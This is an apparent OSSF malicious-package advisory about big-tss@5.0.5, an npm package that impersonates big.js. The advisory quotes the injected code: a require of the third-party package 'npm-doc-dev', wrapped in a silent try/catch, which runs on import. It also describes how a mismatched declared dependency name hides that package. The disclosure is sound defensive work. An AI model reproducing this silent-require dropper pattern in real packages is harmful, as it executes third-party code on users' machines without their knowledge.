MAL-2026-13613
Vulnerability from ossf_malicious_packages
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (022f32d17f1b3fa4c33727aa2309fe4e75706c842ac04b25a48738fdb9aa3d2b)
big-tss@5.0.5 impersonates the popular big.js arbitrary-precision math library and ships upstream big.js source with an injected block at the top of the main module: try { const doc = require("npm-doc-dev"); doc.from_str() } catch (error) {}. On any require('big-tss') this synchronously loads and executes the top-level code of npm-doc-dev — a package outside the big.js publisher — and calls a method on it, with a bare try/catch swallowing any failure so the load is silent. The package.json declares a different dependency name, npm-dc-dev, than the code actually requires (npm-doc-dev), so the declared dependency tree does not reflect the module that is actually loaded at import time. The name resemblance to big.js, the divergence between declared and required dependency names, and the empty catch around the injected require together form a trojan-dropper pattern in which arbitrary code from a third party is executed on the installer's machine whenever a consumer imports the package.
- CWE-506 - The product contains code that appears to be malicious in nature.
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"evidence_files": [
{
"path": "big.js",
"sha256": "15cb51fdb8e9e63c975f7bb5a45b85f98a0515396e741408d9d232c8c1a228b8",
"tlsh": "3dc2658c3ac67579593363788f465088eb38525712c8b286b4ae63b46f78cb107b5fdc"
},
{
"path": "package.json",
"sha256": "0d048a3a86c8409baeacdcdcaee2848bf589853277ddc27c595b188294a4f704",
"tlsh": "c9210167caa09da70af89b947c6c43aaf1161b1f10a08c57b0bb131c4f3355b2195bbd"
}
],
"package_integrity": [
{
"filename": "big-tss-5.0.5.tgz",
"hashes": {
"sha1": "79f59bc5b246b4e1cfb5259b36c7aa3f22ef35bd",
"sha512_sri": "sha512-jUX7U3zIplBTb6sNZIXUpAIiJIatMr4VxZ7rgLXG/q5fFuYlhJCeXNGH8J3jeEPmEfjdkfkae6QsBnGCcM2GOA=="
}
}
]
}
},
"package": {
"ecosystem": "npm",
"name": "big-tss"
},
"versions": [
"5.0.5"
]
}
],
"credits": [
{
"contact": [
"inspector-research@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-017104",
"import_time": "2026-08-07T14:51:19.157099613Z",
"modified_time": "2026-08-07T14:35:08Z",
"sha256": "022f32d17f1b3fa4c33727aa2309fe4e75706c842ac04b25a48738fdb9aa3d2b",
"source": "amazon-inspector",
"versions": [
"5.0.5"
]
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (022f32d17f1b3fa4c33727aa2309fe4e75706c842ac04b25a48738fdb9aa3d2b)\nbig-tss@5.0.5 impersonates the popular big.js arbitrary-precision math library and ships upstream big.js source with an injected block at the top of the main module: `try { const doc = require(\"npm-doc-dev\"); doc.from_str() } catch (error) {}`. On any `require(\u0027big-tss\u0027)` this synchronously loads and executes the top-level code of `npm-doc-dev` \u2014 a package outside the big.js publisher \u2014 and calls a method on it, with a bare try/catch swallowing any failure so the load is silent. The package.json declares a different dependency name, `npm-dc-dev`, than the code actually requires (`npm-doc-dev`), so the declared dependency tree does not reflect the module that is actually loaded at import time. The name resemblance to big.js, the divergence between declared and required dependency names, and the empty catch around the injected require together form a trojan-dropper pattern in which arbitrary code from a third party is executed on the installer\u0027s machine whenever a consumer imports the package.\n",
"id": "MAL-2026-13613",
"modified": "2026-08-07T14:35:08Z",
"published": "2026-08-07T14:35:08Z",
"references": [
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/big-tss/v/5.0.5"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in big-tss (npm)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.